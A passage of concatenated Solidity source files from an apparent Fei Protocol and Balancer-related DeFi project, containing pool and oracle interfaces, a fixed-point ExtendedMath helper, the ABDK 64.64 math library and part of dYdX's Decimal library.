IERC20 token,
IAssetManager.PoolConfig memory poolConfig
) external;
function setPaused(bool paused) external;
function getVault() external view returns (IVault);
function getPoolId() external view returns (bytes32);
function getOwner() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.8.0;
// interface with required methods from Balancer V2 IBasePool
// https://github.com/balancer-labs/balancer-v2-monorepo/blob/389b52f1fc9e468de854810ce9dc3251d2d5b212/pkg/asset-manager-utils/contracts/IAssetManager.sol
interface IAssetManager {
struct PoolConfig {
uint64 targetPercentage;
uint64 criticalPercentage;
uint64 feePercentage;
}
function setPoolConfig(bytes32 poolId, PoolConfig calldata config) external;
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "./abdk/ABDKMath64x64.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @notice This contract contains math related utilities that allows to
* compute fixed-point exponentiation or perform scaled arithmetic operations
*/
library ExtendedMath {
using ABDKMath64x64 for int128;
using ABDKMath64x64 for uint256;
using SafeMath for uint256;
uint256 constant decimals = 18;
uint256 constant decimalScale = 10**decimals;
/**
* @notice Computes x**y where both `x` and `y` are fixed-point numbers
*/
function powf(int128 _x, int128 _y) internal pure returns (int128 _xExpy) {
// 2^(y * log2(x))
return _y.mul(_x.log_2()).exp_2();
}
/**
* @notice Computes `value * base ** exponent` where all of the parameters
* are fixed point numbers scaled with `decimal`
*/
function mulPow(
uint256 value,
uint256 base,
uint256 exponent,
uint256 decimal
) internal pure returns (uint256) {
int128 basef = base.fromScaled(decimal);
int128 expf = exponent.fromScaled(decimal);
return powf(basef, expf).mulu(value);
}
/**
* @notice Multiplies `a` and `b` scaling the result down by `_decimals`
* `scaledMul(a, b, 18)` with an initial scale of 18 decimals for `a` and `b`
* would keep the result to 18 decimals
* The result of the computation is floored
*/
function scaledMul(
uint256 a,
uint256 b,
uint256 _decimals
) internal pure returns (uint256) {
return a.mul(b).div(10**_decimals);
}
function scaledMul(uint256 a, uint256 b) internal pure returns (uint256) {
return scaledMul(a, b, decimals);
}
/**
* @notice Divides `a` and `b` scaling the result up by `_decimals`
* `scaledDiv(a, b, 18)` with an initial scale of 18 decimals for `a` and `b`
* would keep the result to 18 decimals
* The result of the computation is floored
*/
function scaledDiv(
uint256 a,
uint256 b,
uint256 _decimals
) internal pure returns (uint256) {
return a.mul(10**_decimals).div(b);
}
/**
* @notice See `scaledDiv(uint256 a, uint256 b, uint256 _decimals)`
*/
function scaledDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return scaledDiv(a, b, decimals);
}
/**
* @notice Computes a**b where a is a scaled fixed-point number and b is an integer
* This keeps a scale of `_decimals` for `a`
* The computation is performed in O(log n)
*/
function scaledPow(
uint256 base,
uint256 exp,
uint256 _decimals
) internal pure returns (uint256) {
uint256 result = 10**_decimals;
while (exp > 0) {
if (exp % 2 == 1) {
result = scaledMul(result, base, _decimals);
}
exp /= 2;
base = scaledMul(base, base, _decimals);
}
return result;
}
/**
* @notice See `scaledPow(uint256 base, uint256 exp, uint256 _decimals)`
*/
function scaledPow(uint256 base, uint256 exp)
internal
pure
returns (uint256)
{
return scaledPow(base, exp, decimals);
}
}
// SPDX-License-Identifier: BSD-4-Clause
/*
* ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
pragma solidity ^0.8.4;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
library ABDKMath64x64 {
/*
* Minimum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;
/*
* Maximum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function uint256toInt128(uint256 input) internal pure returns (int128) {
return int128(int256(input));
}
function int128toUint256(int128 input) internal pure returns (uint256) {
return uint256(int256(input));
}
function int128toUint64(int128 input) internal pure returns (uint64) {
return uint64(uint256(int256(input)));
}
/**
* Convert signed 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x signed 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromInt(int256 x) internal pure returns (int128) {
require(x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);
return int128(x << 64);
}
/**
* Convert signed 64.64 fixed point number into signed 64-bit integer number
* rounding down.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64-bit integer number
*/
function toInt(int128 x) internal pure returns (int64) {
return int64(x >> 64);
}
/**
* Convert unsigned 256-bit integer number into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function fromUInt(uint256 x) internal pure returns (int128) {
require(
x <= 0x7FFFFFFFFFFFFFFF,
"value is too high to be transformed in a 64.64-bit number"
);
return uint256toInt128(x << 64);
}
/**
* Convert unsigned 256-bit integer number scaled with 10^decimals into signed 64.64-bit fixed point
* number. Revert on overflow.
*
* @param x unsigned 256-bit integer number
* @param decimal scale of the number
* @return signed 64.64-bit fixed point number
*/
function fromScaled(uint256 x, uint256 decimal)
internal
pure
returns (int128)
{
uint256 scale = 10**decimal;
int128 wholeNumber = fromUInt(x / scale);
int128 decimalNumber = div(fromUInt(x % scale), fromUInt(scale));
return add(wholeNumber, decimalNumber);
}
/**
* Convert signed 64.64 fixed point number into unsigned 64-bit integer
* number rounding down. Revert on underflow.
*
* @param x signed 64.64-bit fixed point number
* @return unsigned 64-bit integer number
*/
function toUInt(int128 x) internal pure returns (uint64) {
require(x >= 0);
return int128toUint64(x >> 64);
}
/**
* Convert signed 128.128 fixed point number into signed 64.64-bit fixed point
* number rounding down. Revert on overflow.
*
* @param x signed 128.128-bin fixed point number
* @return signed 64.64-bit fixed point number
*/
function from128x128(int256 x) internal pure returns (int128) {
int256 result = x >> 64;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Convert signed 64.64 fixed point number into signed 128.128 fixed point
* number.
*
* @param x signed 64.64-bit fixed point number
* @return signed 128.128 fixed point number
*/
function to128x128(int128 x) internal pure returns (int256) {
return int256(x) << 64;
}
/**
* Calculate x + y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function add(int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) + y;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x - y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function sub(int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) - y;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x * y rounding down. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function mul(int128 x, int128 y) internal pure returns (int128) {
int256 result = (int256(x) * y) >> 64;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x * y rounding towards zero, where x is signed 64.64 fixed point
* number and y is signed 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y signed 256-bit integer number
* @return signed 256-bit integer number
*/
function muli(int128 x, int256 y) internal pure returns (int256) {
if (x == MIN_64x64) {
require(
y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&
y <= 0x1000000000000000000000000000000000000000000000000
);
return -y << 63;
} else {
bool negativeResult = false;
if (x < 0) {
x = -x;
negativeResult = true;
}
if (y < 0) {
y = -y; // We rely on overflow behavior here
negativeResult = !negativeResult;
}
uint256 absoluteResult = mulu(x, uint256(y));
if (negativeResult) {
require(
absoluteResult <=
0x8000000000000000000000000000000000000000000000000000000000000000
);
return -int256(absoluteResult); // We rely on overflow behavior here
} else {
require(
absoluteResult <=
0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
);
return int256(absoluteResult);
}
}
}
/**
* Calculate x * y rounding down, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y unsigned 256-bit integer number
* @return unsigned 256-bit integer number
*/
function mulu(int128 x, uint256 y) internal pure returns (uint256) {
if (y == 0) return 0;
require(x >= 0);
uint256 lo = (int128toUint256(x) *
(y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;
uint256 hi = int128toUint256(x) * (y >> 128);
require(hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
hi <<= 64;
require(
hi <=
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF -
lo
);
return hi + lo;
}
/**
* Calculate x / y rounding towards zero. Revert on overflow or when y is
* zero.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function div(int128 x, int128 y) internal pure returns (int128) {
require(y != 0);
int256 result = (int256(x) << 64) / y;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate x / y rounding towards zero, where x and y are signed 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x signed 256-bit integer number
* @param y signed 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function divi(int256 x, int256 y) internal pure returns (int128) {
require(y != 0);
bool negativeResult = false;
if (x < 0) {
x = -x; // We rely on overflow behavior here
negativeResult = true;
}
if (y < 0) {
y = -y; // We rely on overflow behavior here
negativeResult = !negativeResult;
}
uint128 absoluteResult = divuu(uint256(x), uint256(y));
if (negativeResult) {
require(absoluteResult <= 0x80000000000000000000000000000000);
return -int128(absoluteResult); // We rely on overflow behavior here
} else {
require(absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int128(absoluteResult); // We rely on overflow behavior here
}
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return signed 64.64-bit fixed point number
*/
function divu(uint256 x, uint256 y) internal pure returns (int128) {
require(y != 0);
uint128 result = divuu(x, y);
require(result <= uint128(MAX_64x64));
return int128(result);
}
/**
* Calculate -x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function neg(int128 x) internal pure returns (int128) {
require(x != MIN_64x64);
return -x;
}
/**
* Calculate |x|. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function abs(int128 x) internal pure returns (int128) {
require(x != MIN_64x64);
return x < 0 ? -x : x;
}
/**
* Calculate 1 / x rounding towards zero. Revert on overflow or when x is
* zero.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function inv(int128 x) internal pure returns (int128) {
require(x != 0);
int256 result = int256(0x100000000000000000000000000000000) / x;
require(result >= MIN_64x64 && result <= MAX_64x64);
return int128(result);
}
/**
* Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function avg(int128 x, int128 y) internal pure returns (int128) {
return int128((int256(x) + int256(y)) >> 1);
}
/**
* Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.
* Revert on overflow or in case x * y is negative.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function gavg(int128 x, int128 y) internal pure returns (int128) {
int256 m = int256(x) * int256(y);
require(m >= 0);
require(
m <
0x4000000000000000000000000000000000000000000000000000000000000000
);
return int128(sqrtu(uint256(m)));
}
/**
* Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y uint256 value
* @return signed 64.64-bit fixed point number
*/
function pow(int128 x, uint256 y) internal pure returns (int128) {
uint256 absoluteResult;
bool negativeResult = false;
if (x >= 0) {
absoluteResult = powu(int128toUint256(x) << 63, y);
} else {
// We rely on overflow behavior here
absoluteResult = powu(uint256(uint128(-x)) << 63, y);
negativeResult = y & 1 > 0;
}
absoluteResult >>= 63;
if (negativeResult) {
require(absoluteResult <= 0x80000000000000000000000000000000);
return -uint256toInt128(absoluteResult); // We rely on overflow behavior here
} else {
require(absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return uint256toInt128(absoluteResult); // We rely on overflow behavior here
}
}
/**
* Calculate sqrt (x) rounding down. Revert if x < 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function sqrt(int128 x) internal pure returns (int128) {
require(x >= 0);
return int128(sqrtu(int128toUint256(x) << 64));
}
/**
* Calculate binary logarithm of x. Revert if x <= 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function log_2(int128 x) internal pure returns (int128) {
require(x > 0);
int256 msb = 0;
int256 xc = x;
if (xc >= 0x10000000000000000) {
xc >>= 64;
msb += 64;
}
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 result = (msb - 64) << 64;
uint256 ux = int128toUint256(x) << uint256(127 - msb);
for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {
ux *= ux;
uint256 b = ux >> 255;
ux >>= 127 + b;
result += bit * int256(b);
}
return int128(result);
}
/**
* Calculate natural logarithm of x. Revert if x <= 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function ln(int128 x) internal pure returns (int128) {
require(x > 0);
return
uint256toInt128(
(int128toUint256(log_2(x)) *
0xB17217F7D1CF79ABC9E3B39803F2F6AF) >> 128
);
}
/**
* Calculate binary exponent of x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function exp_2(int128 x) internal pure returns (int128) {
require(x < 0x400000000000000000, "exponent too large"); // Overflow
if (x < -0x400000000000000000) return 0; // Underflow
uint256 result = 0x80000000000000000000000000000000;
if (x & 0x8000000000000000 > 0)
result = (result * 0x16A09E667F3BCC908B2FB1366EA957D3E) >> 128;
if (x & 0x4000000000000000 > 0)
result = (result * 0x1306FE0A31B7152DE8D5A46305C85EDEC) >> 128;
if (x & 0x2000000000000000 > 0)
result = (result * 0x1172B83C7D517ADCDF7C8C50EB14A791F) >> 128;
if (x & 0x1000000000000000 > 0)
result = (result * 0x10B5586CF9890F6298B92B71842A98363) >> 128;
if (x & 0x800000000000000 > 0)
result = (result * 0x1059B0D31585743AE7C548EB68CA417FD) >> 128;
if (x & 0x400000000000000 > 0)
result = (result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >> 128;
if (x & 0x200000000000000 > 0)
result = (result * 0x10163DA9FB33356D84A66AE336DCDFA3F) >> 128;
if (x & 0x100000000000000 > 0)
result = (result * 0x100B1AFA5ABCBED6129AB13EC11DC9543) >> 128;
if (x & 0x80000000000000 > 0)
result = (result * 0x10058C86DA1C09EA1FF19D294CF2F679B) >> 128;
if (x & 0x40000000000000 > 0)
result = (result * 0x1002C605E2E8CEC506D21BFC89A23A00F) >> 128;
if (x & 0x20000000000000 > 0)
result = (result * 0x100162F3904051FA128BCA9C55C31E5DF) >> 128;
if (x & 0x10000000000000 > 0)
result = (result * 0x1000B175EFFDC76BA38E31671CA939725) >> 128;
if (x & 0x8000000000000 > 0)
result = (result * 0x100058BA01FB9F96D6CACD4B180917C3D) >> 128;
if (x & 0x4000000000000 > 0)
result = (result * 0x10002C5CC37DA9491D0985C348C68E7B3) >> 128;
if (x & 0x2000000000000 > 0)
result = (result * 0x1000162E525EE054754457D5995292026) >> 128;
if (x & 0x1000000000000 > 0)
result = (result * 0x10000B17255775C040618BF4A4ADE83FC) >> 128;
if (x & 0x800000000000 > 0)
result = (result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >> 128;
if (x & 0x400000000000 > 0)
result = (result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >> 128;
if (x & 0x200000000000 > 0)
result = (result * 0x10000162E43F4F831060E02D839A9D16D) >> 128;
if (x & 0x100000000000 > 0)
result = (result * 0x100000B1721BCFC99D9F890EA06911763) >> 128;
if (x & 0x80000000000 > 0)
result = (result * 0x10000058B90CF1E6D97F9CA14DBCC1628) >> 128;
if (x & 0x40000000000 > 0)
result = (result * 0x1000002C5C863B73F016468F6BAC5CA2B) >> 128;
if (x & 0x20000000000 > 0)
result = (result * 0x100000162E430E5A18F6119E3C02282A5) >> 128;
if (x & 0x10000000000 > 0)
result = (result * 0x1000000B1721835514B86E6D96EFD1BFE) >> 128;
if (x & 0x8000000000 > 0)
result = (result * 0x100000058B90C0B48C6BE5DF846C5B2EF) >> 128;
if (x & 0x4000000000 > 0)
result = (result * 0x10000002C5C8601CC6B9E94213C72737A) >> 128;
if (x & 0x2000000000 > 0)
result = (result * 0x1000000162E42FFF037DF38AA2B219F06) >> 128;
if (x & 0x1000000000 > 0)
result = (result * 0x10000000B17217FBA9C739AA5819F44F9) >> 128;
if (x & 0x800000000 > 0)
result = (result * 0x1000000058B90BFCDEE5ACD3C1CEDC823) >> 128;
if (x & 0x400000000 > 0)
result = (result * 0x100000002C5C85FE31F35A6A30DA1BE50) >> 128;
if (x & 0x200000000 > 0)
result = (result * 0x10000000162E42FF0999CE3541B9FFFCF) >> 128;
if (x & 0x100000000 > 0)
result = (result * 0x100000000B17217F80F4EF5AADDA45554) >> 128;
if (x & 0x80000000 > 0)
result = (result * 0x10000000058B90BFBF8479BD5A81B51AD) >> 128;
if (x & 0x40000000 > 0)
result = (result * 0x1000000002C5C85FDF84BD62AE30A74CC) >> 128;
if (x & 0x20000000 > 0)
result = (result * 0x100000000162E42FEFB2FED257559BDAA) >> 128;
if (x & 0x10000000 > 0)
result = (result * 0x1000000000B17217F7D5A7716BBA4A9AE) >> 128;
if (x & 0x8000000 > 0)
result = (result * 0x100000000058B90BFBE9DDBAC5E109CCE) >> 128;
if (x & 0x4000000 > 0)
result = (result * 0x10000000002C5C85FDF4B15DE6F17EB0D) >> 128;
if (x & 0x2000000 > 0)
result = (result * 0x1000000000162E42FEFA494F1478FDE05) >> 128;
if (x & 0x1000000 > 0)
result = (result * 0x10000000000B17217F7D20CF927C8E94C) >> 128;
if (x & 0x800000 > 0)
result = (result * 0x1000000000058B90BFBE8F71CB4E4B33D) >> 128;
if (x & 0x400000 > 0)
result = (result * 0x100000000002C5C85FDF477B662B26945) >> 128;
if (x & 0x200000 > 0)
result = (result * 0x10000000000162E42FEFA3AE53369388C) >> 128;
if (x & 0x100000 > 0)
result = (result * 0x100000000000B17217F7D1D351A389D40) >> 128;
if (x & 0x80000 > 0)
result = (result * 0x10000000000058B90BFBE8E8B2D3D4EDE) >> 128;
if (x & 0x40000 > 0)
result = (result * 0x1000000000002C5C85FDF4741BEA6E77E) >> 128;
if (x & 0x20000 > 0)
result = (result * 0x100000000000162E42FEFA39FE95583C2) >> 128;
if (x & 0x10000 > 0)
result = (result * 0x1000000000000B17217F7D1CFB72B45E1) >> 128;
if (x & 0x8000 > 0)
result = (result * 0x100000000000058B90BFBE8E7CC35C3F0) >> 128;
if (x & 0x4000 > 0)
result = (result * 0x10000000000002C5C85FDF473E242EA38) >> 128;
if (x & 0x2000 > 0)
result = (result * 0x1000000000000162E42FEFA39F02B772C) >> 128;
if (x & 0x1000 > 0)
result = (result * 0x10000000000000B17217F7D1CF7D83C1A) >> 128;
if (x & 0x800 > 0)
result = (result * 0x1000000000000058B90BFBE8E7BDCBE2E) >> 128;
if (x & 0x400 > 0)
result = (result * 0x100000000000002C5C85FDF473DEA871F) >> 128;
if (x & 0x200 > 0)
result = (result * 0x10000000000000162E42FEFA39EF44D91) >> 128;
if (x & 0x100 > 0)
result = (result * 0x100000000000000B17217F7D1CF79E949) >> 128;
if (x & 0x80 > 0)
result = (result * 0x10000000000000058B90BFBE8E7BCE544) >> 128;
if (x & 0x40 > 0)
result = (result * 0x1000000000000002C5C85FDF473DE6ECA) >> 128;
if (x & 0x20 > 0)
result = (result * 0x100000000000000162E42FEFA39EF366F) >> 128;
if (x & 0x10 > 0)
result = (result * 0x1000000000000000B17217F7D1CF79AFA) >> 128;
if (x & 0x8 > 0)
result = (result * 0x100000000000000058B90BFBE8E7BCD6D) >> 128;
if (x & 0x4 > 0)
result = (result * 0x10000000000000002C5C85FDF473DE6B2) >> 128;
if (x & 0x2 > 0)
result = (result * 0x1000000000000000162E42FEFA39EF358) >> 128;
if (x & 0x1 > 0)
result = (result * 0x10000000000000000B17217F7D1CF79AB) >> 128;
result >>= int128toUint256(63 - (x >> 64));
require(result <= int128toUint256(MAX_64x64));
return uint256toInt128(result);
}
/**
* Calculate natural exponent of x. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function exp(int128 x) internal pure returns (int128) {
require(x < 0x400000000000000000); // Overflow
if (x < -0x400000000000000000) return 0; // Underflow
return
exp_2(
int128((int256(x) * 0x171547652B82FE1777D0FFDA0D23A7D12) >> 128)
);
}
/**
* Calculate x / y rounding towards zero, where x and y are unsigned 256-bit
* integer numbers. Revert on overflow or when y is zero.
*
* @param x unsigned 256-bit integer number
* @param y unsigned 256-bit integer number
* @return unsigned 64.64-bit fixed point number
*/
function divuu(uint256 x, uint256 y) private pure returns (uint128) {
require(y != 0);
uint256 result;
if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
result = (x << 64) / y;
else {
uint256 msb = 192;
uint256 xc = x >> 192;
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
result = (x << (255 - msb)) / (((y - 1) >> (msb - 191)) + 1);
require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 hi = result * (y >> 128);
uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
uint256 xh = x >> 192;
uint256 xl = x << 64;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
lo = hi << 128;
if (xl < lo) xh -= 1;
xl -= lo; // We rely on overflow behavior here
assert(xh == hi >> 128);
result += xl / y;
}
require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return uint128(result);
}
/**
* Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point
* number and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x unsigned 129.127-bit fixed point number
* @param y uint256 value
* @return unsigned 129.127-bit fixed point number
*/
function powu(uint256 x, uint256 y) private pure returns (uint256) {
if (y == 0) return 0x80000000000000000000000000000000;
else if (x == 0) return 0;
else {
int256 msb = 0;
uint256 xc = x;
if (xc >= 0x100000000000000000000000000000000) {
xc >>= 128;
msb += 128;
}
if (xc >= 0x10000000000000000) {
xc >>= 64;
msb += 64;
}
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 xe = msb - 127;
if (xe > 0) x >>= uint256(xe);
else x <<= uint256(-xe);
uint256 result = 0x80000000000000000000000000000000;
int256 re = 0;
while (y > 0) {
if (y & 1 > 0) {
result = result * x;
y -= 1;
re += xe;
if (
result >=
0x8000000000000000000000000000000000000000000000000000000000000000
) {
result >>= 128;
re += 1;
} else result >>= 127;
if (re < -127) return 0; // Underflow
require(re < 128); // Overflow
} else {
x = x * x;
y >>= 1;
xe <<= 1;
if (
x >=
0x8000000000000000000000000000000000000000000000000000000000000000
) {
x >>= 128;
xe += 1;
} else x >>= 127;
if (xe < -127) return 0; // Underflow
require(xe < 128); // Overflow
}
}
if (re > 0) result <<= uint256(re);
else if (re < 0) result >>= uint256(-re);
return result;
}
}
/**
* Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer
* number.
*
* @param x unsigned 256-bit integer number
* @return unsigned 128-bit integer number
*/
function sqrtu(uint256 x) private pure returns (uint128) {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return uint128(r < r1 ? r : r1);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/// @title a PCV Deposit interface for only balance getters
/// @author Fei Protocol
interface IPCVDepositBalances {
// ----------- Getters -----------
/// @notice gets the effective balance of "balanceReportedIn" token if the deposit were fully withdrawn
function balance() external view returns (uint256);
/// @notice gets the token address in which this deposit returns its balance
function balanceReportedIn() external view returns (address);
/// @notice gets the resistant token balance and protocol owned fei of this deposit
function resistantBalanceAndFei() external view returns (uint256, uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "../external/Decimal.sol";
/// @title generic oracle interface for Fei Protocol
/// @author Fei Protocol
interface IOracle {
// ----------- Events -----------
event Update(uint256 _peg);
// ----------- State changing API -----------
function update() external;
// ----------- Getters -----------
function read() external view returns (Decimal.D256 memory, bool);
function isOutdated() external view returns (bool);
}
/*
Copyright 2019 dYdX Trading Inc.
Copyright 2020 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @title Decimal
* @author dYdX
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMath for uint256;
// ============ Constants ============
uint256 private constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Static Functions ============
function zero() internal pure returns (D256 memory) {
return D256({value: 0});
}
function one() internal pure returns (D256 memory) {
return D256({value: BASE});
}
function from(uint256 a) internal pure returns (D256 memory) {
return D256({value: a.mul(BASE)});
}
function ratio(uint256 a, uint256 b) internal pure returns (D256 memory) {
return D256({value: getPartial(a, BASE, b)});
}
// ============ Self Functions ============
function add(D256 memory self, uint256 b)
internal
pure
returns (D256 memory)
{
return D256({value: self.value.add(b.mul(BASE))});
}
function sub(D256 memory self, uint256 b)
internal
pure
returns (D256 memory)
{
return D256({value: self.value.sub(b.mul(BASE))});
}
function sub(
D256 memory self,
uint256 b,
string memory reason
) internal pure returns (D256 memory) {
return D256({value: self.value.sub(b.mul(BASE), reason)});
}
function mul(D256 memory self, uint256 b)
internal
pure
returns (D256 memory)
{
return D256({value: self.value.mul(b)});
}
function div(D256 memory self, uint256 b)
internal
pure
returns (D256 memory)
{
return D256({value: self.value.div(b)});
}
function pow(D256 memory self, uint256 b)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
D256 memory temp = D256({value: self.value});
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function add(D256 memory self, D256 memory b)
internal
pure
returns (D256 memory)
{
return D256({value: self.value.add(b.value)});
}
function sub(D256 memory self, D256 memory b)
internal
pure
